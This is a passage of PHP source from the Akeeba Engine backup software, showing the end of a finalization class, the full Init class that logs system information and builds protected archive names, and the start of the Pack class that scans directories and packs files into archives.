				$this->actionQueue = array_merge($before, $customQueueAfter, $after);
			}
		}

		// Log the actions queue
		Factory::getLog()->debug('Finalization action queue: ' . implode(', ', $this->actionQueue));

		// Initialise actions processing
		$this->stepsTotal    = count($this->actionQueue);
		$this->stepsDone     = 0;
		$this->subStepsTotal = 0;
		$this->subStepsDone  = 0;

		// Seed the method
		$this->currentActionClass = array_shift($this->actionQueue);

		// Set ourselves to running state
		$this->setState(self::STATE_RUNNING);
	}

	/**
	 * Implements the abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$configuration = Factory::getConfiguration();

		if ($this->getState() == self::STATE_POSTRUN)
		{
			return;
		}

		$finished = (empty($this->actionQueue)) && ($this->currentActionClass == '');

		if ($finished)
		{
			$this->setState(self::STATE_POSTRUN);

			return;
		}

		$this->setState(self::STATE_RUNNING);

		$timer = Factory::getTimer();

		// Continue processing while we have still enough time and stuff to do
		while (($timer->getTimeLeft() > 0) && (!$finished) && (!$configuration->get('volatile.breakflag', false)))
		{
			if (empty($this->currentActionObject))
			{
				$className = $this->currentActionClass;

				Factory::getLog()->debug(__CLASS__ . "::_run() Running new finalization object $className");

				$this->currentActionObject = new $className($this);
			}
			else
			{
				Factory::getLog()->debug(__CLASS__ . "::_run() Resuming finalization object $this->currentActionClass");
			}

			$finalizer = $this->currentActionObject;

			if ($finalizer() !== true)
			{
				continue;
			}

			$this->currentActionClass  = '';
			$this->currentActionObject = null;
			$this->stepsDone++;
			$finished = empty($this->actionQueue);

			if ($finished)
			{
				continue;
			}

			$this->currentActionClass = array_shift($this->actionQueue);
			$this->subStepsTotal      = 0;
			$this->subStepsDone       = 0;
		}

		if ($finished)
		{
			$this->setState(self::STATE_POSTRUN);
			$this->setStep('');
			$this->setSubstep('');
		}
	}
}
PK     \%V1D?  D?  0  vendor/akeeba/engine/engine/Core/Domain/Init.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use RuntimeException;

/**
 * Backup initialization domain
 */
final class Init extends Part
{
	/** @var   string  The backup description */
	private $description = '';

	/** @var   string  The backup comment */
	private $comment = '';

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Converts a PHP error to a string
	 *
	 * @return  string
	 */
	public static function error2string()
	{
		if (!function_exists('error_reporting'))
		{
			return "Not applicable; host too restrictive";
		}

		$value       = error_reporting();
		$level_names = [
			E_ERROR         => 'E_ERROR', E_WARNING => 'E_WARNING',
			E_PARSE         => 'E_PARSE', E_NOTICE => 'E_NOTICE',
			E_CORE_ERROR    => 'E_CORE_ERROR', E_CORE_WARNING => 'E_CORE_WARNING',
			E_COMPILE_ERROR => 'E_COMPILE_ERROR', E_COMPILE_WARNING => 'E_COMPILE_WARNING',
			E_USER_ERROR    => 'E_USER_ERROR', E_USER_WARNING => 'E_USER_WARNING',
			E_USER_NOTICE   => 'E_USER_NOTICE',
		];

        // E_STRICT is deprecated in PHP 8.4.0, therefore we are no longer handling starting with this version.
		if (defined('E_STRICT') && version_compare(PHP_VERSION, '8.4.0', 'lt'))
		{
			$level_names[E_STRICT] = 'E_STRICT';
		}

		$levels = [];

		if (($value & E_ALL) == E_ALL)
		{
			$levels[] = 'E_ALL';
			$value    &= ~E_ALL;
		}

		foreach ($level_names as $level => $name)
		{
			if (($value & $level) == $level)
			{
				$levels[] = $name;
			}
		}

		return implode(' | ', $levels);
	}

	/**
	 * Reports whether the error display (output to HTML) is enabled or not
	 *
	 * @return string
	 */
	public static function errordisplay()
	{
		if (!function_exists('ini_get'))
		{
			return "Not applicable; host too restrictive";
		}

		return ini_get('display_errors') ? 'on' : 'off';
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		// Load parameters (description and comment)
		$jpskey   = '';
		$angiekey = '';

		if (!empty($this->_parametersArray))
		{
			$params = $this->_parametersArray;

			if (isset($params['description']))
			{
				$this->description = $params['description'];
			}

			if (isset($params['comment']))
			{
				$this->comment = $params['comment'];
			}

			if (isset($params['jpskey']))
			{
				$jpskey = $params['jpskey'];
			}

			if (isset($params['angiekey']))
			{
				$angiekey = $params['angiekey'];
			}
		}

		// Load configuration -- No. This is already done by the model. Doing it again removes all overrides.
		// Platform::getInstance()->load_configuration();

		// Initialize counters
		$registry = Factory::getConfiguration();

		if (!empty($jpskey))
		{
			$registry->set('engine.archiver.jps.key', $jpskey);
		}

		if (!empty($angiekey))
		{
			$registry->set('engine.installer.angie.key', $angiekey);
		}

		// Initialize temporary storage
		Factory::getFactoryStorage()->reset();

		// Force load the tag -- do not delete!
		$kettenrad = Factory::getKettenrad();
		$tag       = $kettenrad->getTag(); // Yes, this is an unused variable by we MUST run this method. DO NOT DELETE.

		// Push the comment and description in temp vars for use in the installer phase
		$registry->set('volatile.core.description', $this->description);
		$registry->set('volatile.core.comment', $this->comment);

		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');

			return;
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Initialise the extra notes variable, used by platform classes to return warnings and errors
		$extraNotes = null;

		// Load the version defines
		Platform::getInstance()->load_version_defines();

		$registry = Factory::getConfiguration();

		// Write log file's header
		$version = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$date    = defined('AKEEBABACKUP_DATE') ? AKEEBABACKUP_DATE : AKEEBA_DATE;

		Factory::getLog()->info("--------------------------------------------------------------------------------");
		Factory::getLog()->info("Akeeba Backup " . $version . ' (' . $date . ')');
		Factory::getLog()->info("--------------------------------------------------------------------------------");

		// PHP configuration variables are tried to be logged only for debug and info log levels
		if ($registry->get('akeeba.basic.log_level') >= 2)
		{
			Factory::getLog()->info("--- System Information ---");
			Factory::getLog()->info("PHP Version        :" . PHP_VERSION);
			Factory::getLog()->info("PHP OS             :" . PHP_OS);
			Factory::getLog()->info("PHP SAPI           :" . PHP_SAPI);

			if (function_exists('php_uname'))
			{
				Factory::getLog()->info("OS Version         :" . php_uname('s'));
			}

			$db = Factory::getDatabase();
			Factory::getLog()->info("DB Version         :" . $db->getVersion());

			if (isset($_SERVER['SERVER_SOFTWARE']))
			{
				$server = $_SERVER['SERVER_SOFTWARE'];
			}
			elseif (($sf = getenv('SERVER_SOFTWARE')))
			{
				$server = $sf;
			}
			else
			{
				$server = 'n/a';
			}

			Factory::getLog()->info("Web Server         :" . $server);

			$platform     = 'Unknown platform';
			$version      = '(unknown version)';
			$platformData = Platform::getInstance()->getPlatformVersion();
			Factory::getLog()->info($platformData['name'] . " version    :" . $platformData['version']);

			if (isset($_SERVER['HTTP_USER_AGENT']))
			{
				Factory::getLog()->info("User agent         :" . $_SERVER['HTTP_USER_AGENT']);
			}

			Factory::getLog()->info("Safe mode          :" . ini_get("safe_mode"));
			Factory::getLog()->info("Display errors     :" . ini_get("display_errors"));
			Factory::getLog()->info("Error reporting    :" . self::error2string());
			Factory::getLog()->info("Error display      :" . self::errordisplay());
			Factory::getLog()->info("Disabled functions :" . ini_get("disable_functions"));
			Factory::getLog()->info("open_basedir restr.:" . ini_get('open_basedir'));
			Factory::getLog()->info("Max. exec. time    :" . ini_get("max_execution_time"));
			Factory::getLog()->info("Memory limit       :" . ini_get("memory_limit"));

			if (function_exists("memory_get_usage"))
			{
				Factory::getLog()->info("Current mem. usage :" . memory_get_usage());
			}

			if (function_exists("gzcompress"))
			{
				Factory::getLog()->info("GZIP Compression   : available (good)");
			}
			else
			{
				Factory::getLog()->info("GZIP Compression   : n/a (no compression)");
			}

			$extraNotes = Platform::getInstance()->log_platform_special_directories();

			if (!empty($extraNotes) && is_array($extraNotes))
			{
				if (isset($extraNotes['warnings']) && is_array($extraNotes['warnings']))
				{
					foreach ($extraNotes['warnings'] as $warning)
					{
						Factory::getLog()->warning($warning);
					}
				}

				if (isset($extraNotes['errors']) && is_array($extraNotes['errors']))
				{
					foreach ($extraNotes['errors'] as $error)
					{
						Factory::getLog()->error($error);
					}

					if (!empty($extraNotes['errors']))
					{
						throw new RuntimeException($extraNotes['errors'][0]);
					}
				}
			}

			$min_time = $registry->get('akeeba.tuning.min_exec_time');
			$max_time = $registry->get('akeeba.tuning.max_exec_time');
			$bias     = $registry->get('akeeba.tuning.run_time_bias');

			Factory::getLog()->info("Min/Max/Bias       :" . $min_time . '/' . $max_time . '/' . $bias);
			Factory::getLog()->info("Output directory   :" . $registry->get('akeeba.basic.output_directory'), ['root_translate' => false]);
			Factory::getLog()->info("Part size (bytes)  :" . $registry->get('engine.archiver.common.part_size', 0));
			Factory::getLog()->info("--------------------------------------------------------------------------------");
		}

		// Quirks reporting
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus(true);

		if (!empty($quirks))
		{
			Factory::getLog()->info("Akeeba Backup has detected the following potential problems:");

			foreach ($quirks as $q)
			{
				Factory::getLog()->info('- ' . $q['code'] . ' ' . $q['description'] . ' (' . $q['severity'] . ')');
			}

			Factory::getLog()->info("You probably do not have to worry about them, but you should be aware of them.");
			Factory::getLog()->info("--------------------------------------------------------------------------------");
		}

		$phpVersion = PHP_VERSION;

		if (version_compare($phpVersion, '7.3.0', 'lt'))
		{
			Factory::getLog()->warning("You are using PHP $phpVersion which is officially End of Life. We recommend using PHP 7.4 or later for best results. Your version of PHP, $phpVersion, will stop being supported by this backup software in the future.");
		}

		$this->warnAboutLegacyMysqlDriver();

		// Report profile ID
		$profile_id = Platform::getInstance()->get_active_profile();
		Factory::getLog()->info("Loaded profile #$profile_id");

		// Get archive name
		[$relativeArchiveName, $absoluteArchiveName] = $this->getArchiveName();

		// ==== Stats initialisation ===
		$origin     = Platform::getInstance()->get_backup_origin(); // Get backup origin
		$profile_id = Platform::getInstance()->get_active_profile(); // Get active profile

		$registry   = Factory::getConfiguration();
		$backupType = $registry->get('akeeba.basic.backup_type');
		Factory::getLog()->debug("Backup type is now set to '" . $backupType . "'");

		// Substitute "variables" in the archive name
		$fsUtils     = Factory::getFilesystemTools();
		$description = $fsUtils->replace_archive_name_variables($this->description);
		$comment     = $fsUtils->replace_archive_name_variables($this->comment);

		if ($registry->get('volatile.writer.store_on_server', true))
		{
			// Archive files are stored on our server
			$stat_relativeArchiveName = $relativeArchiveName;
			$stat_absoluteArchiveName = $absoluteArchiveName;
		}
		else
		{
			// Archive files are not stored on our server (FTP backup, cloud backup, sent by email, etc)
			$stat_relativeArchiveName = '';
			$stat_absoluteArchiveName = '';
		}

		$kettenrad = Factory::getKettenrad();

		$temp = [
			'description'   => $description,
			'comment'       => $comment,
			'backupstart'   => Platform::getInstance()->get_timestamp_database(),
			'status'        => 'run',
			'origin'        => $origin,
			'type'          => $backupType,
			'profile_id'    => $profile_id,
			'archivename'   => $stat_relativeArchiveName,
			'absolute_path' => $stat_absoluteArchiveName,
			'multipart'     => 0,
			'filesexist'    => 1,
			'tag'           => $kettenrad->getTag(),
			'backupid'      => $kettenrad->getBackupId(),
		];

		// Save the entry
		$statistics = Factory::getStatistics();
		$statistics->setStatistics($temp);
		$statistics->release_multipart_lock();

		// Initialize the archive.
		if (Factory::getEngineParamsProvider()->getScriptingParameter('core.createarchive', true))
		{
			Factory::getLog()->debug("Expanded archive file name: " . $absoluteArchiveName);

			Factory::getLog()->debug("Initializing archiver engine");
			$archiver = Factory::getArchiverEngine();
			$archiver->initialize($absoluteArchiveName);
			$archiver->setComment($comment); // Add the comment to the archive itself.
		}

		$this->setState(self::STATE_POSTRUN);
	}

	/**
	 * Warns in the log if any configured database (main site or extra) uses the legacy mysql driver.
	 *
	 * The PHP mysql extension was removed in PHP 7.0 and is therefore never available on any PHP version we support.
	 * Users who have backup profiles configured with this driver should update their configuration.
	 *
	 * @return  void
	 */
	private function warnAboutLegacyMysqlDriver(): void
	{
		$databases = Factory::getFilters()->getInclusions('db');

		foreach ($databases as $key => $definition)
		{
			$driver = strtolower($definition['driver'] ?? '');

			if ($driver !== 'mysql')
			{
				continue;
			}

			$label = ($key === '[SITEDB]')
				? 'The main site database'
				: sprintf('Extra configured database "%s"', $definition['database'] ?? $key);

			Factory::getLog()->warning(
				sprintf(
					'%s is configured to use the driver MySQL which is not supported since PHP 7.0 (you are using PHP %s). Please edit your backup profile configuration to address this issue. The backup will continue using the MySQLi driver.',
					$label,
					PHP_VERSION
				)
			);
		}
	}

	/**
	 * Implements the abstract _finalize method
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Returns the relative and absolute path to the archive
	 */
	protected function getArchiveName()
	{
		$registry = Factory::getConfiguration();

		// Import volatile scripting keys to the registry
		Factory::getEngineParamsProvider()->importScriptingToRegistry();

		// Determine the extension
		$force_extension = Factory::getEngineParamsProvider()->getScriptingParameter('core.forceextension', null);

		if (is_null($force_extension))
		{
			$archiver  = Factory::getArchiverEngine();
			$extension = $archiver->getExtension();
		}
		else
		{
			$extension = $force_extension;
		}

		// Get the template name
		$templateName = $registry->get('akeeba.basic.archive_name');
		Factory::getLog()->debug("Archive template name: $templateName");

		/**
		 * Security: Protect archives in the default backup output directory
		 *
		 * If the configured backup output directory is the same as the default backup output directory the following
		 * actions are taken:
		 *
		 * 1. The backup archive name must include [RANDOM]. If it doesn't, '-[RANDOM]' will be appended to it.
		 * 2. We make sure that the direct web access blocking files .htaccess, web.config, index.html, index.htm and
		 *    index.php exist in that directory. If they do not they will be forcibly added.
		 */
		$configuredOutputPath = $registry->get('akeeba.basic.output_directory');
		$stockDirs            = Platform::getInstance()->get_stock_directories();
		$defaultOutputPath    = $stockDirs['[DEFAULT_OUTPUT]'];
		$fsUtils              = Factory::getFilesystemTools();

		if (@realpath($configuredOutputPath) === @realpath($defaultOutputPath))
		{
			$this->ensureHasRandom($templateName);

			$fsUtils->ensureNoAccess($defaultOutputPath);
		}

		// Parse all tags
		$fsUtils      = Factory::getFilesystemTools();
		$templateName = $fsUtils->replace_archive_name_variables($templateName);

		Factory::getLog()->debug("Expanded template name: $templateName");

		$relative_path = $templateName . $extension;
		$absolute_path = $fsUtils->TranslateWinPath($configuredOutputPath . DIRECTORY_SEPARATOR . $relative_path);

		return [$relative_path, $absolute_path];
	}

	/**
	 * Make sure that the archive template name contains the [RANDOM] variable.
	 *
	 * @param   string  $templateName
	 *
	 * @return void
	 */
	protected function ensureHasRandom(&$templateName)
	{
		if (strpos($templateName, '[RANDOM]') !== false)
		{
			return;
		}

		$templateName .= '-[RANDOM]';
	}
}
PK     \?ch  h  0  vendor/akeeba/engine/engine/Core/Domain/Pack.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Archiver\Base as BaseArchiverClass;
use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Configuration;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;
use RuntimeException;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * Packing engine. Takes care of putting gathered files (the file list) into
 * an archive.
 */
final class Pack extends Part
{
	/** @var array Directories left to be scanned */
	private $directory_list;

	/** @var array Files left to be put into the archive */
	private $file_list;

	/**
	 * Have we finished scanning all subdirectories of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_subdir_scanning = false;

	/**
	 * Have we finished scanning all files of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_file_scanning = true;

	/**
	 * Is the current directory completely excluded?
	 *
	 * @var boolean
	 */
	private $excluded_folder = false;

	/**
	 * Are the current directory's subdirectories excluded?
	 *
	 * @var boolean
	 */
	private $excluded_subdirectories = false;

	/**
	 * Are the current directory's files excluded?
	 *
	 * @var boolean
	 */
	private $excluded_files = false;

	/** @var   string  Path to add to scanned files */
	private $path_prefix;

	/** @var   string  Path to remove from scanned files */
	private $remove_path_prefix;

	/** @var   array   An array of root directories to scan */
	private $root_definitions = [];

	/** @var   integer  How many files have been processed in the current step */
	private $processed_files_counter;

	/** @var   string  Current directory being scanned */
	private $current_directory;

	/** @var   integer|null  The position in the file list scanning */
	private $getFiles_position = null;

	/** @var   integer|null  The position in the folder list scanning */
	private $getFolders_position = null;

	/** @var   string  Current root directory being processed */
	private $root = '[SITEROOT]';

	/** @var   integer  Total root directories to scan, used in percentage calculation */
	private $total_roots = 0;

	/** @var   integer  Total files to process */
	private $total_files = 0;

	/** @var   integer  Total files already processed */
	private $done_files = 0;

	/** @var   integer  Total folders to process */
	private $total_folders = 0;

	/** @var   integer  Total folders already processed */
	private $done_folders = 0;

	/**
	 * Public constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: new instance");
	}

	/**
	 * Immediate post-processing of a part file that's just been completed.
	 *
	 * This method returns false when no post-processing was possible, or if it failed.
	 *
	 * The method returns true when it's post-processed a part file, even if such post-processing has only been partial.
	 *
	 * @param   BaseArchiverClass  $archiver       The archiver engine
	 * @param   Configuration      $configuration  Reference to the Factory configuration object
	 *
	 * @return  bool  True to indicate our caller should return immediately.
	 */
	public static function postProcessDonePartFile(BaseArchiverClass $archiver, Configuration $configuration)
	{
		// Get configuration parameters
		$postprocEngine               = Factory::getPostprocEngine();
		$allowImmediatePostProcessing = $configuration->get('engine.postproc.common.after_part', 0);
		$filename                     = $configuration->get('volatile.postproc.filename', null);
		$shouldDeleteProcessedPart    = $configuration->get('engine.postproc.common.delete_after', false);
		$shouldAbortOnFailed          = $configuration->get('engine.postproc.common.abort_on_fail', false);
		$engineCanDeleteFiles         = $postprocEngine->isFileDeletionAfterProcessingAdvisable();

		// Is the immediate post-processing disabled? Return false.
		if (!$allowImmediatePostProcessing)
		{
			return false;
		}

		// Are we continuing the post-processing of a previous file?
		if (!empty($filename))
		{
			Factory::getLog()->info(sprintf("Continuing immediate post-processing of part file %s", basename($filename)));
		}

		// Do we have a NEW file to post-process?
		if (empty($filename) && !empty($archiver->finishedPart))
		{
			$filename = array_shift($archiver->finishedPart);

			if (!empty($filename))
			{
				Factory::getLog()->info(sprintf("Starting immediate post-processing of part file %s", basename($filename)));
			}
		}

		// Not continuing post-processing and no new file to process? Return false and let the caller carry on.
		if (empty($filename))
		{
			return false;
		}

		// Store the file to post-process in volatile storage
		$configuration->set('volatile.postproc.filename', $filename);

		// Try to post-process the file
		$timer     = Factory::getTimer();
		$startTime = $timer->getRunningTime();

		try
		{
			$postProcessingResult = $postprocEngine->processPart($filename);
			$endTime              = $timer->getRunningTime();
			$stepTime             = $endTime - $startTime;
			$notEnoughTimeLeft    = $timer->getTimeLeft() < $stepTime;

			/**
			 * FINISHED POST-PROCESSING THE FILE
			 */
			if ($postProcessingResult === true)
			{
				Factory::getLog()->info('Successfully processed file ' . basename($filename));

				// Indicate the file has finished post-processing
				$configuration->set('volatile.postproc.filename', null);

				// Add this part's size to the volatile storage variable holding the total size of the backup set
				$volatileTotalSize = $configuration->get('volatile.engine.archiver.totalsize', 0);
				$volatileTotalSize += (int) @filesize($filename);

				$configuration->set('volatile.engine.archiver.totalsize', $volatileTotalSize);

				// If the engine recommends breaking the step after post-processing let's set the break flag
				if ($postprocEngine->recommendsBreakAfter())
				{
					$configuration->set('volatile.breakflag', true);
				}

				// If I don't need to delete the post-processed part just return
				if (!$shouldDeleteProcessedPart)
				{
					return true;
				}

				if (!$engineCanDeleteFiles)
				{
					return true;
				}

				Factory::getLog()->debug(sprintf("Deleting post-processed file %s", basename($filename)));
				Platform::getInstance()->unlink($filename);

				return true;
			}

			/**
			 * MORE WORK REQUIRED
			 */
			Factory::getLog()->info(sprintf("More post-processing steps required for file %s", basename($filename)));

			/**
			 * If the time left is not at least as much as the previous post-processing step took us we break the step.
			 * This prevents a time-out trying to post-process another chunk of the file.
			 */
			if ($notEnoughTimeLeft)
			{
				$configuration->set('volatile.breakflag', true);
			}
		}
		/**
		 * POST-PROCESSING FAILED
		 */
		catch (Exception $e)
		{
			// Indicate no further processing is possible on this file.
			$configuration->set('volatile.postproc.filename', null);

			Factory::getLog()->warning('Failed to process file ' . basename($filename));
			Factory::getLog()->warning('Error received from the post-processing engine:');

			self::logErrorsFromException($e, $shouldAbortOnFailed ? LogLevel::ERROR : LogLevel::WARNING);

			// Fail the backup if we're configured to do so
			if ($shouldAbortOnFailed)
			{
				throw new ErrorException(sprintf('Failed to process backup archive file %s', basename($filename)));
			}

			return false;
		}

		// No further processing necessary
		return true;
	}

	/**
	 * Implements the getProgress() percentage calculation based on how many
	 * roots we have fully backed up and how much of the current root we
	 * have backed up.
	 */
	public function getProgress()
	{
		if (empty($this->total_roots))
		{
			return 0;
		}

		// Get the overall percentage (based on databases fully dumped so far)
		$remaining_steps = count($this->root_definitions);
		$remaining_steps++;
		$overall = 1 - ($remaining_steps / $this->total_roots);

		// How much is this step worth?
		$this_max = 1 / $this->total_roots;

		// Get the percentage done of the current root. Hey, the calculation *is* dodgy, I know it!
		$local = 0;
		if ($this->total_files > 0)
		{
			$local += 0.05 * $this->done_files / $this->total_files;
		}
		if ($this->total_folders > 0)
		{
			$local += 0.95 * $this->done_folders / $this->total_folders;
		}

		$percentage = $overall + $local * $this_max;
		if ($percentage < 0)
		{
			$percentage = 0;
		}
		if ($percentage > 1)
		{
			$percentage = 1;
		}

		return $percentage;
	}

	/**
	 * Implements the _prepare() abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Starting _prepare()");

		$registry = Factory::getConfiguration();

		// Get a list of directories to include
		Factory::getLog()->debug(__CLASS__ . " :: Getting directory inclusion filters");
		$filters                = Factory::getFilters();
		$this->root_definitions = $filters->getInclusions('dir');

		$this->total_roots = count($this->root_definitions);

		// Add the mapping text file if there are external directories defined!
		if (count($this->root_definitions) > 1)
		{
			// The site's root is the last directory to be backed up. Um, no,
			// this is not what we need
			$temp = array_pop($this->root_definitions);
			array_unshift($this->root_definitions, $temp);

			// We add a README.txt file in our virtual directory...
			Factory::getLog()->debug("Creating README.txt in the EFF virtual folder");
			$virtualContents = <<<ENDVCONTENT
This directory contains directories above the web site's root you chose to
include in the backup set.  This file helps you figure out which directory
in the backup  set corresponds to  which directory in the  original site's
structure. You'll have to restore these files manually!


ENDVCONTENT;

			$counter = 0;
			$vdir    = trim($registry->get('akeeba.advanced.virtual_folder'), '/') . '/';
			$effini  = ['eff' => []];

			$rootsToPack = array_filter(
				$this->root_definitions,
				function ($data) {
					return $data[0] != '[SITEROOT]';
				}
			);

			foreach ($rootsToPack as $dir)
			{
				$counter++;

				$test = trim($dir[1]);

				if ($test == '/')
				{
					$counter--;
					continue;
				}

				$virtualContents .= $dir[1] . "\tis the backup of\t" . $dir[0] . "\n";

				$effini['eff'][$dir[0]] = $vdir . $dir[1];
			}

			$effini = json_encode($effini, JSON_PRETTY_PRINT);

			// Add the file to our archive
			$archiver = Factory::getArchiverEngine();

			if ($counter >= 1)
			{
				$archiver->addFileVirtual('README.txt', $registry->get('akeeba.advanced.virtual_folder'), $virtualContents);
				$archiver->addFileVirtual('eff.json', $this->installerSettings->installerroot, $effini);
			}
			else
			{
				Factory::getLog()->debug("README.txt was not created; all EFF directories are being backed up to the archive's root");
			}
		}

		// Find the site's root element and shift it into the directory list
		$dir_definition = array_shift($this->root_definitions);
		$count          = 0;
		$max_dir_count  = count($this->root_definitions);
		while (!is_null($dir_definition[1]) && ($count < $max_dir_count))
		{
			$count++;
			array_push($this->root_definitions, $dir_definition);
			$dir_definition = array_shift($this->root_definitions);
		}

		// Settling with whatever we have, let's put it to use, shall we?
		$this->remove_path_prefix = $dir_definition[0]; // Remove absolute path to directory when storing the file
		if (is_null($dir_definition[1]))
		{
			$this->path_prefix = ''; // No added path for main site
			if (empty($dir_definition[0]))
			{
				$this->root = '[SITEROOT]';
			}
			else
			{
				$this->root = $dir_definition[0];
			}
		}
		else
		{
			$dir_definition[1] = trim($dir_definition[1]);
			if (empty($dir_definition[1]) || $dir_definition[1] == '/')
			{
				$this->path_prefix = '';
			}
			else
			{
				$this->path_prefix = $registry->get('akeeba.advanced.virtual_folder') . '/' . $dir_definition[1];
			}
			$this->root = $dir_definition[0];
		}
		// Translate the root into an absolute path
		$stock_dirs   = Platform::getInstance()->get_stock_directories();
		$absolute_dir = substr($this->root, 0);
		if (!empty($stock_dirs))
		{
			foreach ($stock_dirs as $key => $replacement)
			{
				$absolute_dir = str_replace($key, $replacement, $absolute_dir);
			}
		}
		$this->directory_list[]   = $absolute_dir;
		$this->remove_path_prefix = $absolute_dir;
		$registry                 = Factory::getConfiguration();
		$registry->set('volatile.filesystem.current_root', $absolute_dir);

		$this->done_subdir_scanning = true;
		$this->done_file_scanning   = true;
		$this->total_files          = 0;
		$this->done_files           = 0;
		$this->total_folders        = 0;
		$this->done_folders         = 0;

		$this->setState(self::STATE_PREPARED);

		Factory::getLog()->debug(__CLASS__ . " :: prepared");
	}

	// ============================================================================================
	// PRIVATE METHODS
	// ============================================================================================

	/**
	 * @return void
	 * @throws Exception
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep("-");
			$this->setSubstep("");

			return;
		}

		// If I'm done scanning files and subdirectories and there are no more files to pack get the next
		// directory. This block is triggered in the first step in a new root.
		if (empty($this->file_list) && $this->done_subdir_scanning && $this->done_file_scanning)
		{
			$this->progressMarkFolderDone();

			if (!$this->getNextDirectory())
			{
				if ($this->getNextRoot())
				{
					if (!$this->getNextDirectory())
					{
						return;
					}
				}
				else
				{
					return;
				}
			}
		}

		/**
		 * Automated tests override
		 *
		 * If the file .akeeba_engine_automated_tests_error file is present in the site's root I will throw an error.
		 */
		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		if (@file_exists($translated_root . '/.akeeba_engine_automated_tests_error'))
		{
			throw new RuntimeException("Akeeba Engine automated tests: I am throwing an error because the file .akeeba_engine_automated_tests_error is present in the site's root folder.");
		}

		// If I'm not done scanning for files and the file list is empty then scan for more files
		if (!$this->done_file_scanning && empty($this->file_list))
		{
			$this->scanFiles();
		}
		// If I have files left, pack them
		elseif (!empty($this->file_list))
		{
			$this->pack_files();
		}
		// If I'm not done scanning subdirectories, go ahead and scan some more of them
		elseif (!$this->done_subdir_scanning)
		{
			$this->scanSubdirs();
		}
		/**
		 * If we have excluded contained files or subdirectories BUT NOT the entire folder itself AND there are
		 * no files in this directory THEN add an empty directory to the archive.
		 **/
		elseif (
			($this->excluded_files || $this->excluded_subdirectories)
			&&
			!$this->excluded_folder
			&&
			empty($this->file_list)
		)
		{
			Factory::getLog()->info("Empty directory " . $this->current_directory . ' (files and directories are filtered)');

			$archiver = Factory::getArchiverEngine();

			if ($this->current_directory != $this->remove_path_prefix)
			{
				$archiver->addFile($this->current_directory, $this->remove_path_prefix, $this->path_prefix);
			}
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	protected function _finalize()
	{
		Factory::getLog()->info("Finalizing archive");
		$archive = Factory::getArchiverEngine();
		$archive->finalize();

		Factory::getLog()->debug("Archive is finalized");

		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Gets the next directory to scan from the stack. It also applies folder
	 * filters (directory exclusion, subdirectory exclusion, file exclusion),
	 * updating the operation toggle properties of the class.
	 *
	 * @return   boolean  True if we found a directory, false if the directory
	 *                    stack is empty. It also returns true if the folder is
	 *                    filtered (we are told to skip it)
	 */
	protected function getNextDirectory()
	{
		// Reset the file / folder scanning positions
		$this->getFiles_position       = null;
		$this->getFolders_position     = null;
		$this->done_file_scanning      = false;
		$this->done_subdir_scanning    = false;
		$this->excluded_folder         = false;
		$this->excluded_subdirectories = false;
		$this->excluded_files          = false;

